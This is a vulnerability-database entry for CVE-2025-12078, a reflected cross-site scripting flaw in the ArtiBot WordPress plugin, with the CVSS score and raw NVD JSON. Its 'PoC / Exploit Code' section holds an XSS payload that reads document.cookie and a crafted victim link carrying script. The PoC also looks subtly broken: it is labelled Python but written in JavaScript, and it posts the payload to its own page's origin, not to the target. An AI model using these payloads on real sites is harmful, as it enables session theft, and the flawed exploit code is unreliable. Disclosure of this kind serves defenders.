Security Vulnerability Report
中文
CVE-2025-12078 CVSS 6.1 MEDIUM

CVE-2025-12078

Published: 2025-11-18 09:15:48
Last Modified: 2026-04-15 00:35:42

Description

The ArtiBot Free Chat Bot for WebSites plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via PostMessage in all versions up to, and including, 1.1.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

ArtiBot Free Chat Bot插件所有版本 <= 1.1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12078 PoC - ArtiBot XSS via PostMessage // This PoC demonstrates how an attacker can inject arbitrary JavaScript // through the vulnerable PostMessage handler in ArtiBot plugin // Attacker's malicious page that sends XSS payload via PostMessage const maliciousPayload = '<img src=x onerror="alert(document.cookie)">'; // Target WordPress site with ArtiBot plugin const targetOrigin = window.location.origin; // Send the malicious payload to the vulnerable plugin window.addEventListener('load', function() { // Wait for ArtiBot to initialize setTimeout(function() { // Send malicious payload via PostMessage // The plugin will reflect this payload without sanitization window.postMessage({ type: 'artibot_message', content: maliciousPayload }, targetOrigin); }, 2000); }); // Alternative: Direct URL-based reflection PoC // <a href="https://victim-site.com/?chat_id=<img src=x onerror=alert(document.domain)>">Click me</a> // Mitigation: Site owners can verify vulnerability by checking if the plugin // properly sanitizes PostMessage inputs and uses safe DOM manipulation methods.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12078", "sourceIdentifier": "[email protected]", "published": "2025-11-18T09:15:47.530", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ArtiBot Free Chat Bot for WebSites plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via PostMessage in all versions up to, and including, 1.1.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/artibot/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/efe48adb-af9f-45dc-b693-ae56dce1bfe2?source=cve", "source": "[email protected]"}]}}